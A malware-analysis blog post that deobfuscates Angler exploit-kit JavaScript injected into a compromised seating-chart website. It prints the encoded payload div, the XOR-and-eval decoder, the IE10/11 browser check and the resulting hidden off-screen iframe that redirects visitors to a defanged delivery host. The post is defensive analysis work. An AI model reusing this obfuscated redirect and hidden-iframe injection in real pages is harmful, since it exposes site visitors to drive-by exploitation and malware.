A few days ago I was alerted of a potentially compromised website serving Angler EK: hxxp://www.stadiumseatingcharts.com/rogers-centre/

The Angler exploit kit will redirect the client to a separate compromised server in order to deliver the exploit and the malware stage. Usually, it accomplishes this using an iframe or an anchor (and calling the click() method for that element), or something similar. The point is, there is some bad JavaScript code leading to some other bad JavaScript code, and it’s usually obfuscated.

Show Yourself!

I’ve tried navigating to the website using the latest Chrome and I did not see anything out of the ordinary.

IE11 was a different story: a friendly message pops up saying it has disabled Silverlight because it is outdated (oh thanks!).

The source code was also a pretty good indicator something was wrong. The entire body content was replaced by a div and a script element containing some obfuscated JavaScript. The original body HTML code was moved to a noscript element while the head content was left unchanged:

<html dir="ltr" lang="en-US"><head>
<!-- [ ... original HTML code ... ] -->
<body class="template-single">
<div id="btmnyg" style="display:none">37 cf,at58bn .a55rb- 1p12 blc101 i1c02i 2cud2l d58 ja3i6 35 41 34b q58 9af9 6-2 3e-6 41 ne40 47 44n 63 1b6-sbw b100tejag 10a2- baac,s10al1 at102b -2h2 5d8g 3d6 -35 4x1 34e-f ,5d8 99 46 y3c7 6k3a n34 3-aq2, b4ja0 p1b6 10i0a -118 41 xe47va 6y3e 58f e1h-12 e22 -11a1 63-e-h-d-k -d59 1a1cndi9 d12xc4m 12d4 111 97t -bb-ese111g e0 r3-0e 4 8b d11k1 97dgd 16 118-q 4dp3 3.4 6e3 10h1a 5wc2 g3d-4 3e4 46ceb- 5pb9 6t3cdbc. 32c 5wau8 -a1jb1-2g -37a zci58 5d5 g1e18 52fe-r 34 -ea34-et c46ebs- bn59 -63c f3-2bc 58 11c3d a4g1 d-4u7ae -a6l3-a 58 g99 3-3 4a0 gc3e5 b42 57- 37s b-1ndn18et c5md2s- a-34k e34f- ca46 5bp9 b63 32 t58 1a0a-dld2k dp1e0h2ax 10b-0t c5-4 36 4nb3kc 101cb 35 4t4b 5q9 -3d6 h4c2 4s4 -do57ac bu3ag4 63b w-b99 f56 62 ,c4f0 b63rb d12 4a2 4n0 35 b57r 99 c-d3-6 ad35 a41u 40 b53 -2 43 1m01 4-b1 c47b 63 yaz58 dwex22ea '52 c34j '3-a4 46h 59aha 63 c32 5al8 16 bqbc100 b11-hb5- 3f7 5-8 55 100 5b4 40 u35 -44 br4bn4 40by aba11b2dj d41 n47e 63-h 5d8 9c9ak? 3d3t 40- 35a fa4ua2 5x7 a37k-bt c96 -d52 34 34 46 b5k9 63 bv-3a2 -5a8c 118 47i 63 a40kd- 44 38ta 118-f au4e8 -n48 36 43 10e1cdqde- 3cy5 c4s-4 59cl a36 4t2b -4hdl-4 e57 3i4 ede6l-e3r 99-a 5nb6 c6a2 4h0 apcja63 xb1m2 4am2 4e0 3h5e h57 99 36 3-5 41 40 b53 s2 43 -101ce bc-ab111 d0 3,0 4l 8 a1s-09b 1-24 gb1-25 1n-11 10a;0 115be kb3eb7 wc58g 5-5b 100 5w4 40a g3addr5db 44 44 ema-40w 1,cg02 d102'e ce'1.18b 4p8 4-btc4 d3b6- 44cc- 11wa2 aa1u11 bma2 63 g24 1bwa24z 0ece 9 q5 2c0 h3-b7 41 5t8 43a 111 ra118i asdk36 61 -5d5 ,1t12 41 34aq 4-c6 l56 -3d2k 4c0 35 5-7 99g b42-s 40 57 c8- jbz33 b40aa 32-w 4b0 3da5b 57 1bi5 52 aw4c -41c- 1ct01 111 4-cc7 c57 a3b2n 3-5 bqa5ba2qb -e42 111 1aj00 -b99 36 3h5 35c 40 ,63 5 u25 0!c 1 1a1d8-f 37 c60 56k 46 1b-12 r35 32 b3-7 4kb6s b3ca5 bcy112 -a3,7sb 58 5g5 a118c 5e9 52 hb34 -39ce 35 112 111 111 '118 s'36 -6el1 55 112 e36 61 -jb55 99 6p3 4a0 qd6-1 3r-3 a44 a46 4a0 p101 98b 22 19r a44 96gc j55ale- we,16m e98 42 97q 1-bp11 a1qd1r1 1b-0f0ad -1b18 ,43 34 6mav3 10cj-1 c5r2 34 3e4 p46 59 6e3 32p 5-e8 112 3-7 qe58b, ayb55 cc1yb-be.18 l52d pb-m3crc4 a34b obt46d 5-z9 -d63 32 58- 1g1,3a- 36 a-b6ea1qe 55 h9a-r9 -cf33- 40 3d5c 42c 57k c3d7 1en18 52 3e4 t34 a46 5ka9 o-b-63e 3a2 58- 102 10r2 1-0bna0 hc54lcpcl 55 b52 u4,b4 v-c-a-59 5am5 47 a112 36hab 6c1 qe55j- 99 4da6 c37 4id4jcl b63 14l 3bl4 4c1 40 -i1cu2a 57 1-x0a1f 52 34 a34 46 59- 6fe3 k3dc2cj c58rc f100 1-18ca e36 43 1k0eo1 37 cta-u60 a56 46 w104 -40 35 a4i4b 44pbe 4b0gd 1kc0fe0c 54- 59 5c2 34lb 39 3-w5 10a2 ea1i12bea 3h0b 57- 6i3bfbg 36- 3cp5 42cjb 99 4s3 6b-3 34 xcaa-32 ba14kb 37 e4av4 6-3chaaci.d -g14 34 cke-41c 40 1b0n1b 10r1apc 10x1c 39 5m2 4dh0 102 -e5-5 pc5-2 4qdu4ahe 59 v55 -47em 96d, 116xb 1-22 1r00a 1n9 4a4aas 36 44a -99 4q6bq 3b7- 44 e6cg3 14 -3c4 4nb1 40 k12 b57qbv 10-e1 -ma35pa lb3-2b -37a a4b6 3q5a abm10b4cb 4-4 pb3t6 c44 h99 3-3 40 35 42 c57ea -y37 -1au00 100a 10-f4 12a7 12jc0 -1f2'0 bb'100 1-c-18 35hdid 3sb2 r37 c46 3-g5; 102c -10d2,ab 118aqb f4a8jb jbd4by0 c3-3u 62 ds4bob0hc 5-j4 3b9 5bc2 40 112v 101 b55-e 52aicha 44xbnd 5nb9o -55 bn47 9c6 116 i12bw2ah 1-0a-k-0 103 aw1,ak2-d4- t126 1-ba-b03hdob-hd ye4-0 a3b5 -44 4u4a 4b0 118 4a8a a37 60da o56e 4k,6 d102 c10d2 118- 48z 2ae2 1.e6vd 22 111y e46 3a4b x35a n6a2 n57aqa-o-c- h63 56 4db6 57 34e- 63 1p11 a1-6 22deq -e1me1c-1dz 4dg6cx 34be a3a5 6.cj2a 57t 63 c5-edg6e l46 5e7 3qd4zcja b6-3a. 1s1cv1c 1nd6yc v101 59 52 34 39 35 100 101 100 118</div>
<!-- [ ... original website body HTML code ... ] -->

Refreshing the page with different user agents would return new data for the div and scripting elements. Angler and other EKs do this to increase the rate of success for exploitation. There’s no point in targeting Chrome if you have no way to escape its sandbox.

Alright, it’s time to figure out how the obfuscated JavaScript interacts with the div to create the typical redirect Angler uses to deliver the payload.

The First Stage

The obfuscated code is fairly simple, and we just need to add a breakpoint before any function call and review the scope variable values. In this particular piece of code, xvtk() is a good start:

When the breakpoint hits, the variable cdkmp contains the first piece of code Angler will execute with xvtk()’s help (cleaned up):

/** @type {Array.<string>} */
a = document.getElementById("btmnyg").innerHTML.replace(/[^\d ]/g, "").split(" ");
/** @type {number} */
i = 0;
for (;i < a.length;i++) {
  /** @type {number} */
  a[i] = parseInt(a[i]) ^ 77;
eval(String.fromCharCode.apply(null, a));

Again, simple enough: remove any non-int and non-space characters from the btmnyg div, split by space and iterate through the resulting array performing a bitwise XOR operation using 77 (^).

The resulting byte array is just more JavaScript (notice the eval() at the end). If we replace eval with console.log, we see this (cleaned up):

hwz = (+[window.sidebar]) + (+[window.chrome]);
dbrw = ["rv:11", "MSIE"];
for (yoocvrmw = hwz; yoocvrmw < dbrw.length; yoocvrmw++) {
    if (navigator.userAgent.indexOf(dbrw[yoocvrmw]) > hwz) {
        enaae = dbrw.length - yoocvrmw;
if (navigator.userAgent.indexOf("MSIE 10") > hwz) {
aia = "OrU1MDHYhdwf";
ipz = document.getElementById("btmnyg").innerHTML;
hquc = nmhcn = hwz;
vyojn = "";
ipz = ipz.replace(/[^a-z]/g, "");
for (yoocvrmw = hwz; yoocvrmw < ipz.length; yoocvrmw++) {
    zyavzb = ipz.charCodeAt(yoocvrmw);
    if (hquc % enaae) {
        vyojn += String.fromCharCode(((jye + zyavzb - 97) ^ aia.charCodeAt(nmhcn % aia.length)) % 255);
    } else {
        jye = (zyavzb - 97) * 13 * enaae;

More Obfuscation

The above JavaScript looks a bit complicated, but we just want to focus on vyojn as it is the only string variable populated by a for loop.

Essentially, the code pulls all a-z characters from the btmng div and using some math magic it decodes the eventual redirect code.

The first line is interesting because this is where it eliminates out-of-scope browsers. In order for the decode operation to go through (the for loops) hwz must be equal to 0

hwz = (+[window.sidebar]) + (+[window.chrome]);

The line above returns NaN (not a number) on Chrome/FireFox/Edge. Since JavaScript can’t perform numerical operations on NaN, the for loops and consequently the payload delivery are skipped.

On IE 11 and earlier it returns 0

The next few lines are an elaborate way of checking for IE11 and most of IE10’s user agents.

If we look further down into the code we notice the value of enaae must be at least 2 in order for anything to decode at all:

    if (hquc % enaae) {
        vyojn += [decoding operation]
    } else {
        jye = (zyavzb - 97) * 13 * enaae;

The first for loop and the proceeding if statement tell us that enaae will be set to 2 if:

  • The user agent string contains rv:11 (IE11)
  • … or the user agent string contains MSIE 10 (most IE10’s)

Once we have the proper user agent set, a breakpoint on the last line will allow us to see the decoded payload vyojn:

The resulting redirect code (cleaned up):

var date = new Date(new Date().getTime() + 60*60*24*7*1000); 

document.cookie = "PHP_SESSION_PHP=425; path=/; expires="+date.toUTCString(); 
document.cookie = "_PHP_SESSION_PHP=366; path=/; expires="+date.toUTCString();

	.bjiwhujrrjgmdcv {
		position: absolute;
		top: -779px;
		width: 300px;
		height: 300px;
<div class="bjiwhujrrjgmdcv">
	<iframe src="hxxp://panfluit.williammurphyministries.org/73867600-redeveloping-golfers-disapproving-ornithology-lids-interjectional.html" width="250" height="250"></iframe>

And there it is, a hidden iframe pointing to the payload delivery server: panfluit.williammurphyministries.org.

A Better Way

Keep in mind that accessing the page with different user agents would change the value for the first stage, the data div btmnyg and ultimately the redirect code.

If we want to iterate through all the values we’ve captured, there is an easier way.

Using Revelo from Kahu Security we can quickly execute the code and see the redirect instantly:

JSDetox on Remnux is also great for safely analyzing JavaScript. I like the docker version myself: https://hub.docker.com/r/remnux/jsdetox/